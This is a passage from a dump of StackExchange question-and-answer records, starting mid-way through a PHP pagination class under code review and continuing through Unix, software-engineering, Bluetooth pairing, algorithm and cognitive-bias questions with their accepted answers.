class='.$this->get_current_or_normal_class($counter).'>'.$counter.'</a></li>'.PHP_EOL;                $counter++;            }        }        else        {            /*             * We have enough links to show the ellipses, so run through other method             */            if($this->current_page <= ($this->options['max_links_between_ellipses'] + $this->options['max_links_outside_ellipses']))            {                /*                 * Type 1 - skipping the first ellipses due to being low in the current page number                 */                $counter = 1;                while($counter <= ($this->options['max_links_between_ellipses'] + $this->options['max_links_outside_ellipses']))                {                    $this->links_html .= '<li><a href='.$this->build_link_url($counter).' class='.$this->get_current_or_normal_class($counter).'>'.$counter.'</a></li>'.PHP_EOL;                    $counter++;                }                $this->links_html .= '<li><span class='.$this->options['class_ellipses'].'>'.$this->options['text_ellipses'].'</span></li>'.PHP_EOL;                $counter = ($this->total_pages - $this->options['max_links_outside_ellipses']) + 1;                while($counter <= $this->total_pages)                {                    $this->links_html .= '<li><a href='.$this->build_link_url($counter).' class='.$this->get_current_or_normal_class($counter).'>'.$counter.'</a></li>'.PHP_EOL;                    $counter++;                }            }            elseif($this->current_page > ($this->options['max_links_between_ellipses'] + $this->options['max_links_outside_ellipses']) && $this->current_page < ($this->total_pages - ($this->options['max_links_between_ellipses'] + $this->options['max_links_outside_ellipses']) + 1))            {                /*                 * Type 2 - Current page is between both sets of ellipses                 */                $counter = 1;                while($counter <= $this->options['max_links_outside_ellipses'])                {                    $this->links_html .= '<li><a href='.$this->build_link_url($counter).' class='.$this->get_current_or_normal_class($counter).'>'.$counter.'</a></li>'.PHP_EOL;                    $counter++;                }                /*                 * Pop in an ellipses                 */                $this->links_html .= '<li><span class='.$this->options['class_ellipses'].'>'.$this->options['text_ellipses'].'</span></li>'.PHP_EOL;                $before_after = (($this->options['max_links_between_ellipses'] - 1) / 2);                $counter = $this->current_page - $before_after;                while($counter <= $this->current_page + $before_after)                {                    $this->links_html .= '<li><a href='.$this->build_link_url($counter).' class='.$this->get_current_or_normal_class($counter).'>'.$counter.'</a></li>'.PHP_EOL;                    $counter++;                }                /*                 * Pop in an ellipses                 */                $this->links_html .= '<li><span class='.$this->options['class_ellipses'].'>'.$this->options['text_ellipses'].'</span></li>'.PHP_EOL;                $counter = ($this->total_pages - $this->options['max_links_outside_ellipses']) + 1;                while($counter <= $this->total_pages)                {                    $this->links_html .= '<li><a href='.$this->build_link_url($counter).' class='.$this->get_current_or_normal_class($counter).'>'.$counter.'</a></li>'.PHP_EOL;                    $counter++;                }            }            else            {                /*                 * Type 1 - skipping the last ellipses due to being high in the current page number                 */                $counter = 1;                while($counter <= $this->options['max_links_outside_ellipses'])                {                    $this->links_html .= '<li><a href='.$this->build_link_url($counter).' class='.$this->get_current_or_normal_class($counter).'>'.$counter.'</a></li>'.PHP_EOL;                    $counter++;                }                $this->links_html .= '<li><span class='.$this->options['class_ellipses'].'>'.$this->options['text_ellipses'].'</span></li>'.PHP_EOL;                $counter = ($this->total_pages - ($this->options['max_links_between_ellipses'] + $this->options['max_links_outside_ellipses'])) + 1;                while($counter <= $this->total_pages)                {                    $this->links_html .= '<li><a href='.$this->build_link_url($counter).' class='.$this->get_current_or_normal_class($counter).'>'.$counter.'</a></li>'.PHP_EOL;                    $counter++;                }            }        }        /*         * The 'Next' link         */        if($this->options['show_links_prev_next'] == true)        {            if($this->current_page == $this->total_pages && $this->options['show_links_prev_next_if_dead'] == true)            {                $this->links_html .= '<li><span class='.$this->options['class_dead_links'].'>'.$this->options['text_next'].'</span></li>'.PHP_EOL;            }            elseif($this->current_page != $this->total_pages)            {                $this->links_html .= '<li><a class='.$this->options['class_live_links'].' href='.$this->build_link_url($this->current_page + 1).'>'.$this->options['text_next'].'</a></li>'.PHP_EOL;            }        }        /*         * The 'Last' link         */        if($this->options['show_links_first_last'] == true)        {            if($this->current_page == $this->total_pages && $this->options['show_links_first_last_if_dead'] == true)            {                $this->links_html .= '<li><span class='.$this->options['class_dead_links'].'>'.$this->options['text_last'].'</span></li>'.PHP_EOL;            }            elseif($this->current_page != $this->total_pages)            {                $this->links_html .= '<li><a class='.$this->options['class_live_links'].' href='.$this->build_link_url($this->total_pages).'>'.$this->options['text_last'].'</a></li>'.PHP_EOL;            }        }         /*         * Close the UL         */        $this->links_html .= '</ul>'.PHP_EOL;    }    /**    * debug(void)    *    * Show the debug log    *    * @access  public    * @return  void    */    public function debug()    {        print_r($debug_log);    }}?>And here's an example of how it's called:<?$options = array(    'results_per_page'              => 10,    'url'                           => 'http://www.domain.com/somepage.php?page=*VAR*',    'db_conn_type'                  => 'pdo',    'db_handle'                     => $dbh);$paginate = new paginate($page, 'SELECT cols FROM table', $options);$result = $paginate->resultset->fetchAll();?>ta!"  , "title": "PHP/MySQL Pagination Class - How can it be improved?"  , "tags": "php;pagination"  , "accepted_answer": "I'm not going to do a full code review, but there are a couple of issues that I think need to be addressed.  Everything's public in your class, this is very bad because it means that external agents can scribble all over the class internal state.  You should definitely make all your properties (variables) protected or private and provide a set of public setters and getters instead, as this will give you more control over what external state consumers of your class can change and how.  I've already given a few answers that cover the benefits of getters and setters, so you might want to look those up ;)When designing a class you should be thinking about what the class embodies, what it's meant to accomplish and what services it's providing to consumers of the class.  What is the consumer going to ask the class to do and what output can the consumer expect in return?  For these services you need to provide a public interface (public methods/functions) so consumers can ask the class to perform some service for them and collect the results.  Anything else that the class does internally to achieve the goal of providing the service it implements should not be publicly available to consumers because consumers don't need to know about how a class does what it does, only that the class provides that service.  The more of the internals of your class you expose to outside agents, the harder it becomes to make changes without breaking something that depends on the class.  Your constructor is too big.  Constructors should do nothing more than initialize the class to a usable state, they shouldn't do any actual work, because if you want to subclass a class to give it different behaviour and a lot of behaviour is defined in the constructor then you will need to either inherit a lot of behaviour you don't want, or rewrite the constructor to completely override what the superclass constructor does, possibly resulting in a lot of duplication of effort as you rewrite the bits of the superclass constructor that you do want.  It also means that you have less opportunity to configure an instance of a class before asking it do provide its service for you.  Your build_links method is also too big.  This means it's inflexible and difficult to modify without causing other issues elsewhere.  If you split the method down into smaller chunks, then you can more easily swap those chunks out for different ones should you choose to subclass your class, thus making it easier to adapt your class to work in different ways.  For example, all the code between each of the function's first level of if statements (the ones with the least indentation) could be split out into their own (protected) methods.  This will make the main method shorter, and the methods in question can be easily overridden in any subclasses you choose to make.  Also, if you notice you have several methods doing similar work then you have an opportunity to come up with a way to generalize the operation being done and removing some code from your class.Long methods/functions have other issues too when it comes to understandability and maintainability.  A shorter method is easier to understand and therefore maintain, so long methods should be considered a code smell and refactored out.  A good rule of thumb is, if you need to scroll to fit the method's body into your editor screen then you probably need to split it into smaller chunks of functionality.  Programming is all about divide and conquer (splitting a big problem into smaller problems and solving each small problem until you have a solution to the big problem they're a part of).  Additionally, good code isn't code where there's nothing left to add, but when there's nothing left to take away.  "  } 
{  "id": "_unix.328254"  , "question": "So my real question is, how do i access the game file in progam files (x86) in script editor to create the shortcut ? when i enter the cmd in terminal cd ~/.wine/drive_c/Program\\ Files\\ \\(x86\\)/ubisoft/prince\\ of\\ persia/prince\\ of\\ persia.exe/but in script editor this doesn't work, for some reason typing the (x86) doesn't allow it to, and the spaces are wrong too, is there anyone that knows how to write the cmd i wrote in script editor?. Thank you in advance. p.s. i'm a beginner at all this coding so i have no idea about it and really need help. Thank you again."  , "title": "How to create a short cut for the app to my desktop, instead of using terminal?"  , "tags": "shell script;shell;command line;scripting;osx"  } 
{  "id": "_unix.241601"  , "question": "For a guest machine how can I know where the files created in vm (not the VM config files but actual files which I create while using VM) are stored on my host machine? To which directory of my host the root directory of VM is mapped? "  , "title": "Where does KVM hypervisor store VM files?"  , "tags": "files;kvm;virsh"  } 
{  "id": "_unix.317014"  , "question": "I was looking at the header of some elf files and noticed something odd:ELF Header:  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00   Class:                             ELF32  Data:                              2's complement, big endian  Version:                           1 (current)  OS/ABI:                            UNIX - System V  ABI Version:                       0  Type:                              EXEC (Executable file)  Machine:                           MIPS R3000  Version:                           0x1  ...  Flags:                             0x80000027, noreorder, pic, cpic, abi2, mips64r2  ...Why is it labeled as ELF32 but have a mips64r2 flag? What does that indicate?  Does it mean that the file was compiled as a 32 bit program intended to be run on a 64 bit processor? Also, if it is running on mips64r2, why is the machine labeled as MIPS r3000?If I wanted to run this with qemu, what type of environment would I need? mips64 r2? mips r3000? "  , "title": "Meaning of MIPS flags in elf header"  , "tags": "qemu;elf;mips"  } 
{  "id": "_softwareengineering.216274"  , "question": "Hello fellow Programmers,I am still a relatively new programmer and have recently gotten my first on-campus programming position. I am the sole dev responsible for 8 domains as well as 3 small sized PHP web apps. The campus has its web environment divided into staging and live servers -- we develop on the staging via SFTP and then push the updates to the live server through a web GUI.I use Sublime Text 2 and the Sublime SFTP plugin currently for all my dev work (its my preferred editor). If I am just making an edit to a page I'll open that individual file via the ftp browser. If I am working on the PHP web app projects, I have the app directory mapped to a local folder so that when I save locally the file is auto-uploaded through Sublime SFTP.I feel like this workflow is slow and sub-optimal. How can I improve my workflow for working with remote content? I'd love to set up a local environment on my machine as that would eliminate the constant SFTP upload/download, but as I said there are many sites and the space required for a local copy of the entire domain would be quite large and complex; not to mention keeping it updated with whatever the latest on the staging server is would be a nightmare.Anyone know how I can improve my general web dev workflow from what I've described? I'd really like to cut out constantly editing over FTP but I'm not sure where to start other than ripping the entire directory and dumping it into XAMP."  , "title": "What are some efficient ways to set up my environment when working on a remote site?"  , "tags": "php;optimization;workflows;development environment;sublime text"  , "accepted_answer": "keeping it updated with whatever the latest on the staging server is would be a nightmare.It's shouldn't be a nightmare, it should be trivial. At a minimum you should be using version control to automate much of this. These days I would start with either git or mercurial. Any professional programmer should run away screaming in horror from a job that does not use version control in some fashion. It's something you need in your toolbox RIGHT NOW. Distributed version control makes it very easy to just set up on your own and even if you can't get buy in from the group at least you can keep yourself sane. Mercurial (hg) is easier to get started with IMHO than git, but git is probably the defacto standard. Create a github account for yourself and play around with some simple boring stuff to get a feel for it. Or try hg at bitbucket.com. You don't need either site to use these programs effectively, but they do make it easier to get started. Once you have version control in your toolbox, the next thing is to have a portable development environment. If you have anything like a reasonably powered laptop or workstation you should be able to completely duplicate the production environment of most web applications. Using a tool like Vagrant can make this a simple as a single command to get a complete test environment up and running. It does take a fair amount of work, but this is the world many people are working in these days. The more you can learn about these tools, the more employable you'll be in the future. "  } 
{  "id": "_webmaster.102589"  , "question": "I am trying to download report data using API for adgroup_performance_report. I get all the campaigns etc in the report except download campaigns. How do I get about that? What am I missing?Details:AWQL query:SELECT Date,HourOfDay, AdGroupId, AdGroupName,AdNetworkType1, CampaignId, CampaignName, Impressions, Clicks, Cost FROM ADGROUP_PERFORMANCE_REPORT DURING YESTERDAYAPI: v201609Language: PythonMore:Download campaigns: Not sure if they are download campaigns but they have a down arrow button where normally it's search and video"  , "title": "How to get download campaigns data from Adwords API"  , "tags": "google api;google adwords"  , "accepted_answer": "The campaign type you are referring to are the Universal App Campaigns (UAC). For reporting, UAC statistics can be found in the following reports mentioned here. Currently, however, the AdvertisingChannelType and AdvertisingChannelSubType fields are not available in the Adgroup Performance Report.Source: https://groups.google.com/forum/#!topic/adwords-api/l2H5E3bvv-g"  } 
{  "id": "_unix.283471"  , "question": "I'm trying to print only the <N>th line before a search pattern. grep -B<N> prints all the <N> lines before the search pattern. I saw the awk code here that can print only the <N>th line after the search pattern.awk 'c&&!--c;/pattern/{c=N}' fileHow to modify this to print only the <N>th line before each line that matches pattern ? For example, here is my input file......   0.50007496  0.42473932  0.01527831   0.99997456  0.97033575  0.44364198Direct configuration=     1   0.16929051  0.16544726  0.16608723   0.16984300  0.16855274  0.50171112......   0.50089841  0.42608090  0.01499159   0.99982054  0.97154975  0.44403547Direct configuration=     2   0.16931296  0.16553376  0.16600890   0.16999941  0.16847055  0.50170694  ...I need a command that can give me back the 2nd line before the search string Direct configuration.I'm trying to run this in SUSE-Linux"  , "title": "Print only the Nth line before each line that matches a pattern"  , "tags": "text processing;awk;search"  , "accepted_answer": "A buffer of lines needs to be used.Give a try to this:awk -v N=4 -v pattern=example.*pattern '{i=(1+(i%N));if (buffer[i]&& $0 ~ pattern) print buffer[i]; buffer[i]=$0;}' fileSet N value to the Nth line before the pattern to print.Set patternvalue to the regex to search.buffer is an array of N elements. It is used to store the lines. Each time the pattern is found, the Nth line before the pattern is printed."  } 
{  "id": "_unix.114523"  , "question": "I have set up a cron job on my local Ubuntu 12.04 server to log on a remote server through a passwordless ssh connection and run mysqldump on a database on that server once a day. My problem is that, in addition to running mysqldump at 00:00 every day, it is for some reason also run at HH:17 at every hour, thereby filling up the disk fairly rapidly. The job in my crontab is set up as:@daily  /bin/bash /home/backup/scripts/db_backupThe most important parts of the script db_backup looks like this:#!/bin/bash# Sets the properties and folders to be backed uphost_name=admin@the_host.comdb_name=the_db_namedb_backup_folder_at_host=~/db_backup# Dumps the mysql database{ # Try    ssh ${host_name} mysqldump ${db_name} > ${db_backup_folder_at_host}/backup$(date +%F_%R).sql &&    echo $(date) SUCCESS! mysqldump of database} || { # Catch    echo $(date) FAILURE! mysqldump of database}At the remote server I have specified a .my.cnf file for the database (in the home folder) like this:[mysqldump]user=USERNAMEpassword=PASSWORDhost=MYSQLSERVERand this works fine.The crontab is successfully installed for the super user of my local Ubuntu 12.04 server. I have tried rebooting the server, but that does not fix the problem. Running sudo ps -A | grep cron at the Ubuntu server produces 1166 ? 00:00:00 cron as output, so only one process is running. Running sudo crontab -l shows the daily cron job above, while running crontab -l shows that no jobs are installed for the regular user. There are no cron jobs running on the remote server.Can anyone give me a hint on how this can be happening? Where can I search for clues?Note that I have also tried the following for the crontab, but mysqldump is still run every HH:17:0 0 * * *   /bin/bash /home/backup/scripts/db_backup"  , "title": "cron runs job at unexpected times"  , "tags": "ssh;cron"  , "accepted_answer": "Although I'm running a different version of ubuntu, my /etc/crontab runs the hourly script 17mins past the hour.SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user  command17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )#Have a look in /etc/cron.hourly"  } 
{  "id": "_softwareengineering.266752"  , "question": "I am a freshman college student currently learning C++ programming.  I am good at math and physics, so I am looking to specialize in 2D/3D graphics with OpenGL.  My question is about the differences between OpenGL and OpenCV, and the amount of overlap these areas have.  From what I have read, one creates graphics while the other processes them.  I have many books on 3D graphics and the mathematics associated with it.  What I am wondering is if the same concepts I am learning in OpenGL could be applied to OpenCV.  Is it possible to become a C++ software engineer that could specialize in both OpenGL AND OpenCV, or is this an unrealistic goal?I ask these questions because I understand that 2D/3D graphics programming requires a tremendous amount of knowledge in math and physics, but I don't know too much about OpenCV and the prerequisite skills necessary to get my foot in the door."  , "title": "OpenGL vs OpenCV for beginner"  , "tags": "c++;graphics;opengl"  , "accepted_answer": "OpenGL is a 3D graphics API. It provides APIs describe a 3D scene and render it to a framebuffer and ultimately display it on a screen. The primitives it has are vertex lists, triangle lists, normal vector lists, etc. n.b. 2D is a special case of 3D; IIRC OpenGL doesn't have explicit 2D support (i.e. sprites and bit blit)OpenCV is a computer vision (CV) API, and has implementations of various CV algorithms, blob detection, template matching, etc.OpenCV generally operates on real image data, and wouldn't operate on graphics generated by OpenGL. (unless one was trying to make an AI bot that only sees the framebuffer output of a game, but that in another tangent altogether.)Is it possible to become a C++ software engineer that could specialize in both OpenGL AND OpenCV, or is this an unrealistic goal? Sure, they are different types of systems, and you could specialize in more than one thing. As for OpenGL and 3D graphics, if you learn one you can probably use any of them.For computer vision learing one system will certianly help with another, but probably not to the same extent as computer graphics.n.b This question probably belongs an another board."  } 
{  "id": "_unix.249434"  , "question": "How to partitioning hard disk for two different linux system on the GPT/UEFI.Size of disk 500gb.I ask because of the fact the disk is limited to 4 primary partition.I want to have 2 partitions on each system and one common.1 section will be EFI"  , "title": "How to partition my hard disk"  , "tags": "filesystems;partition"  , "accepted_answer": "GPT can have as many partitions as you want*. Therefore, you can have them all. Most of the time when I partition my disc, I set up /home on separate partition for my data(music, images, etc). This has a benefit of being able to reinstall my system without losing data.So we already have 3 partitions: swap(double the ram), /(I give it 1/2 of disc space I have), and /home (another 1/2). You can also make separate /var for programs, or /boot, but they aren't really needed - you'll do just fine with these 3.As for filesystems, here's what I go with:swap: swap/, /home : ext4/boot : ext2I basically take these 3(+ I have /boot), set up swap and boot, then divide rest in half, approximately. Should work for you too.* Given you don't want insanely many partitions."  } 
{  "id": "_softwareengineering.73532"  , "question": "There are lots of great books and resources out there about managing new software developments, but very little that I've seen about managing ongoing maintenance of software systems. I'm not talking about big enhancements, I'm talking about the little 1 or 2 day bug fixes and updates that quickly accumulate once a system goes into production.Any recommended books or other resources on this subject?"  , "title": "How to manage maintenance"  , "tags": "maintenance"  } 
{  "id": "_unix.344348"  , "question": "terminal, run web browser:  web_browser & disownweb browser opens fine.it seems to be disowned by the terminal.but as I use the web browser... to surf the web..I begin to see the web browser reporting datato that terminal.terminal prints data about the web browser.so I suppose disown is not sufficient tocompletely disown the web browser ?"  , "title": " web_browser & disown  : still see-ing data"  , "tags": "bash;terminal;disown"  , "accepted_answer": "The web browser is still run with its output and input connected to your terminal.Disown will only stop your shell from sending signals to it when it sends signals to its children.To get rid of the output you need to redirect the outputbrowser  > /dev/null 2>&1 &orbrowser  > /dev/null 2> /dev/nullIf you are running this in an ssh session you will also want to disconnect the input just in case so that it does not hang:browser < /dev/null  > /dev/null 2>&1 &and then you can also disown itbrowser < /dev/null  > /dev/null 2>&1 &disown"  } 
{  "id": "_unix.292189"  , "question": "I am running Fedora 24 with Gnome Shell. I try to pair my new Bose QuietComfort 35 over Bluetooth. I started using the Gnome interface. Unfortunately, the connection seems not to hold. It appears as constantly connecting/disconnecting:https://youtu.be/eUZ9D9rGUZYMy next step was to perform some checks using the command-line. First, I checked that the bluetooth service is running:$ sudo systemctl status bluetooth bluetooth.service - Bluetooth service   Loaded: loaded (/usr/lib/systemd/system/bluetooth.service; enabled; vendor preset: enabled)   Active: active (running) since dim. 2016-06-26 11:19:24 CEST; 14min ago     Docs: man:bluetoothd(8) Main PID: 932 (bluetoothd)   Status: Running    Tasks: 1 (limit: 512)   Memory: 2.1M      CPU: 222ms   CGroup: /system.slice/bluetooth.service           932 /usr/libexec/bluetooth/bluetoothdjuin 26 11:19:24 leonard systemd[1]: Starting Bluetooth service...juin 26 11:19:24 leonard bluetoothd[932]: Bluetooth daemon 5.40juin 26 11:19:24 leonard bluetoothd[932]: Starting SDP serverjuin 26 11:19:24 leonard bluetoothd[932]: Bluetooth management interface 1.11 initializedjuin 26 11:19:24 leonard bluetoothd[932]: Failed to obtain handles for Service Changed characteristicjuin 26 11:19:24 leonard systemd[1]: Started Bluetooth service.juin 26 11:19:37 leonard bluetoothd[932]: Endpoint registered: sender=:1.68 path=/MediaEndpoint/A2DPSourcejuin 26 11:19:37 leonard bluetoothd[932]: Endpoint registered: sender=:1.68 path=/MediaEndpoint/A2DPSinkjuin 26 11:20:26 leonard bluetoothd[932]: No cache for 08:DF:1F:DB:A7:8AThen, I have tried to follow some explanations from Archlinux wiki with no success. The pairing is failing Failed to pair: org.bluez.Error.AuthenticationFailed:$ sudo bluetoothctl [NEW] Controller 00:1A:7D:DA:71:05 leonard [default][NEW] Device 08:DF:1F:DB:A7:8A Bose QuietComfort 35[NEW] Device 40:EF:4C:8A:AF:C6 EDIFIER Luna Eclipse[bluetooth]# agent onAgent registered[bluetooth]# scan onDiscovery started[CHG] Controller 00:1A:7D:DA:71:05 Discovering: yes[CHG] Device 08:DF:1F:DB:A7:8A RSSI: -77[CHG] Device 08:DF:1F:DB:A7:8A UUIDs: 0000febe-0000-1000-8000-00805f9b34fb[CHG] Device 08:DF:1F:DB:A7:8A RSSI: -69[CHG] Device 08:DF:1F:DB:A7:8A UUIDs: 0000febe-0000-1000-8000-00805f9b34fb[CHG] Device 08:DF:1F:DB:A7:8A UUIDs: 0000110d-0000-1000-8000-00805f9b34fb[CHG] Device 08:DF:1F:DB:A7:8A UUIDs: 0000110b-0000-1000-8000-00805f9b34fb[CHG] Device 08:DF:1F:DB:A7:8A UUIDs: 0000110e-0000-1000-8000-00805f9b34fb[CHG] Device 08:DF:1F:DB:A7:8A UUIDs: 0000110f-0000-1000-8000-00805f9b34fb[CHG] Device 08:DF:1F:DB:A7:8A UUIDs: 00001130-0000-1000-8000-00805f9b34fb[CHG] Device 08:DF:1F:DB:A7:8A UUIDs: 0000112e-0000-1000-8000-00805f9b34fb[CHG] Device 08:DF:1F:DB:A7:8A UUIDs: 0000111e-0000-1000-8000-00805f9b34fb[CHG] Device 08:DF:1F:DB:A7:8A UUIDs: 00001108-0000-1000-8000-00805f9b34fb[CHG] Device 08:DF:1F:DB:A7:8A UUIDs: 00001131-0000-1000-8000-00805f9b34fb[CHG] Device 08:DF:1F:DB:A7:8A UUIDs: 00000000-deca-fade-deca-deafdecacaff[bluetooth]# devicesDevice 08:DF:1F:DB:A7:8A Bose QuietComfort 35Device 40:EF:4C:8A:AF:C6 EDIFIER Luna Eclipse[CHG] Device 08:DF:1F:DB:A7:8A RSSI: -82[CHG] Device 08:DF:1F:DB:A7:8A RSSI: -68[CHG] Device 08:DF:1F:DB:A7:8A RSSI: -79[bluetooth]# trust 08:DF:1F:DB:A7:8AChanging 08:DF:1F:DB:A7:8A trust succeeded[bluetooth]# pair 08:DF:1F:DB:A7:8AAttempting to pair with 08:DF:1F:DB:A7:8A[CHG] Device 08:DF:1F:DB:A7:8A Connected: yesFailed to pair: org.bluez.Error.AuthenticationFailed[CHG] Device 08:DF:1F:DB:A7:8A Connected: noI tried to disable SSPMode but it seems to have no effect:$ sudo hciconfig hci0 sspmode 0When I use bluetoothctl, journalctl logs the following:juin 26 11:37:21 leonard sudo[4348]: lpellegr : TTY=pts/2 ; PWD=/home/lpellegr ; USER=root ; COMMAND=/bin/bluetoothctljuin 26 11:37:21 leonard audit[4348]: USER_CMD pid=4348 uid=1000 auid=4294967295 ses=4294967295 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='cwd=/home/lpellegr cmd=bluetoothctl terminal=ptjuin 26 11:37:21 leonard audit[4348]: CRED_REFR pid=4348 uid=0 auid=4294967295 ses=4294967295 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=PAM:setcred grantors=pam_env,pam_fprintd acct=roojuin 26 11:37:21 leonard sudo[4348]: pam_systemd(sudo:session): Cannot create session: Already occupied by a sessionjuin 26 11:37:21 leonard audit[4348]: USER_START pid=4348 uid=0 auid=4294967295 ses=4294967295 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=PAM:session_open grantors=pam_keyinit,pam_limits,juin 26 11:37:21 leonard sudo[4348]: pam_unix(sudo:session): session opened for user root by (uid=0)juin 26 11:38:06 leonard bluetoothd[932]: No cache for 08:DF:1F:DB:A7:8AUnfortunately, I don't understand the output. Any idea or help is welcome. I am pretty lost.The bluetooth receiver I use is a USB dongle from CSL-Computer. Bluetoothctl version is 5.40. I am running kernel 4.5.7-300.fc24.x86_64.Below are the features supported by my bluetooth adapter:hciconfig -a hci0 featureshci0:   Type: BR/EDR  Bus: USB    BD Address: 00:1A:7D:DA:71:05  ACL MTU: 310:10  SCO MTU: 64:8    Features page 0: 0xff 0xff 0x8f 0xfe 0xdb 0xff 0x5b 0x87        <3-slot packets> <5-slot packets> <encryption> <slot offset>         <timing accuracy> <role switch> <hold mode> <sniff mode>         <park state> <RSSI> <channel quality> <SCO link> <HV2 packets>         <HV3 packets> <u-law log> <A-law log> <CVSD> <paging scheme>         <power control> <transparent SCO> <broadcast encrypt>         <EDR ACL 2 Mbps> <EDR ACL 3 Mbps> <enhanced iscan>         <interlaced iscan> <interlaced pscan> <inquiry with RSSI>         <extended SCO> <EV4 packets> <EV5 packets> <AFH cap. slave>         <AFH class. slave> <LE support> <3-slot EDR ACL>         <5-slot EDR ACL> <sniff subrating> <pause encryption>         <AFH cap. master> <AFH class. master> <EDR eSCO 2 Mbps>         <EDR eSCO 3 Mbps> <3-slot EDR eSCO> <extended inquiry>         <LE and BR/EDR> <simple pairing> <encapsulated PDU>         <non-flush flag> <LSTO> <inquiry TX power> <EPC>         <extended features>     Features page 1: 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x00The pairing works well with EDIFIER Luna Eclipse speakers. I suspect the issue is really related to the headset I am trying to configure."  , "title": "Pairing Bose QC 35 over Bluetooth on Fedora"  , "tags": "fedora;pulseaudio;bluetooth;bluez"  , "accepted_answer": "I have these headphones as well, along with a handy laptop running Fedora 24.  After chatting with one of the Bluez developers on IRC, I have things working.  Below is what I've found.  (Note that I know very little about Bluetooth so I may be using incorrect terminology for some of this.)The headphones support (or at least say they support) bluetooth LE but don't support LE for pairing.  Bluez does not yet support this and has no way to set the supported BT mode except statically in the configuration file.  You can use the headphones over regular bluetooth just fine, though.  This happens to be the reason Bluez 4 works; it doesn't really support LE.So, create /etc/bluetooth/main.conf.  Fedora 24 doesn't come with this file so either fetch a copy from Upstream, find the line containing#ControllerMode = dualand change it to:ControllerMode = bredror create a new file containing just:[General]ControllerMode = bredrThen restart bluetooth and pair.  (I did this manually via bluetoothctl, but just using the bluetooth manager should work.)Now, this got things working for me, though if you don't force pulseaudio to use the A2DP-Sink protocol, the headphones will announce that you have an incoming call for some reason.  However, my mouse requires Bluetooth LE, so I went in and removed the ControllerMode line.  And... the headphones still work, as well as the mouse.  I guess that once they are paired everything is OK."  } 
{  "id": "_cs.43472"  , "question": "consider integers represented as base 2 (strings). define a relation called n-msb matching that is true when the 1st n msbs (MSB is most significant bits) match (of two integers). what is a pragmatic way of searching/ computing the following?given n2, find x, n such that n3x is many msb matching (with n2).note am not necessarily looking for efficient. a nice/ ideal answer would also analyze the complexity (ie # of possible solutions, hardness of finding etc)background: naturally arises in Collatz conjecture study."  , "title": "pragmatic way to compute/ search/ match MSBs operation"  , "tags": "algorithms;time complexity;arithmetic"  } 
{  "id": "_cs.65535"  , "question": "I am trying to solve the following:Given a set $S_0$, find min $|S|$ where $S_0 \\subseteq S$ subject to:$\\forall s \\in S$ $\\exists$ $s_a, s_b \\in S $ $|$ $ ( s_a \\neq s, s_b\\neq s ) \\land ( s = s_a + s_b \\lor s = 1 \\lor s=2 ) $Or in english, forall s in S there exists sa, sb in S such that sa != s, sb != s AND ( s = sa + sb OR s = 1 OR s = 2 )For example if $S_0 = \\{ 7, 9, 13, 22 \\}$then the solution is $S = \\{ 1, 2, 3, 4, 7, 9, 13, 22 \\}$ as1 -> is 1 so allowed2 -> is 2 so allowed3 = 1 + 24 = 1 + 37 = 3 + 49 = 7 + 213 = 9 + 422 = 9 + 13|S| = 8$|S_0|$ is not particularly large but the numbers in $S_0$ can be very very large such that expressing all numbers possible is infeasible.I have tried an ILP and ran out of memory expressing the binary variables for each number in the set.My current approach ( which gives a pretty bad solution ) is pick the lowest number that is violated, heuristically pick two numbers and put them in the set. Repeat until all numbers meet constraints.An approximate solution is fine. Anyone have any ideas?"  , "title": "Growing a set given constraints"  , "tags": "optimization;discrete mathematics;set cover"  , "accepted_answer": "I suggest you formulate this as an instance of integer linear programming (ILP).  Let $m$ be the largest number in $S_0$.  For each $i$ such that $1 \\le i \\le m$, introduce the zero-or-one variable $x_i$, with the intended meaning that $x_i=1$ means that $i \\in S$ and $x_i=0$ means that $i \\notin S$.Now your constraints can be readily converted into linear inequalities: e.g., for each $s$ such that $2<s \\le m$, we obtain that $x_s=1$ implies $\\lor_{s_a,s_b} (x_{s_a}=1 \\land x_{s_b}=1)$, where the disjunction is taken over all $s_a,s_b$ such that $1 \\le s_a < s$ and $1 \\le s_b < s$.  This can be converted into a linear inequality; see Express boolean logic operations in zero-one integer linear programming (ILP).  Also, for each $i \\in S_0$, we add the requirement $x_i=1$.  Finally, we minimize $\\sum_i x_i$.  Feeding this to an off-the-shelf ILP solver should yield a solution.This should find the exact optimal solution, as long as the largest number in $S_0$ is not too large.  However, the running time is potentially exponential in $m$, the largest number in $S_0$.  I don't know if there is a polynomial-time solution.(You could also formulate it as an instance of SAT instead of ILP.  This will require applying the Tseitin transform to convert the implication/disjunction into CNF, and it will require constructing an adder-circuit to add the requirement that the size of $S$ is at most $k$ and then doing binary search over $k$.  Then, you could feed it to an off-the-shelf SAT solver.  I have no idea whether this will work better than the ILP approach.)"  } 
{  "id": "_cogsci.10933"  , "question": "I'm looking for the name of the cognitive bias that describes the following phenomenon: Person A asks person B to evaluate and give feedback on a certain topic (a student, a manuscript etc), casually warning person B that the student/manuscript is not very good and so the task will not be particularly pleasant. Person B then tries to objectively do the evaluation, however inadvertently and unavoidably gravitates towards person A's premise, and subsequently has a hard time deciding whether the fact that he too now thinks the student/manuscript is poor is in fact his own opinion or just a regurgitation/confirmation of what person A told him.First it seemed to me that this is an instance of the hindsight (knew it all along) bias, but I don't think it is, as there the extra (bias inducing) information comes after person A's appraisal, rather than before as is the case in the scenario I describe.Any other cognitive biases this could be an instance of?"  , "title": "What cognitive bias is it when an (ideally objective) evaluation is influenced by the prior opinion of another person?"  , "tags": "terminology;bias"  , "accepted_answer": "It's an example of the confirmation bias:Confirmation bias (...) is the tendency to search for, interpret, favor, and recall information in a way that confirms one's beliefs or hypotheses.Research has shown that people have a strong tendency to engage in a positive test strategy when investigating a hypothesis (see e.g., Klayman & Ha, 1978). That is, when testing an expectation (such as in your example) they tend to search for confirming, rather than disconfirming evidence. This tendency then results in the kind of confirmation bias you are describing in your 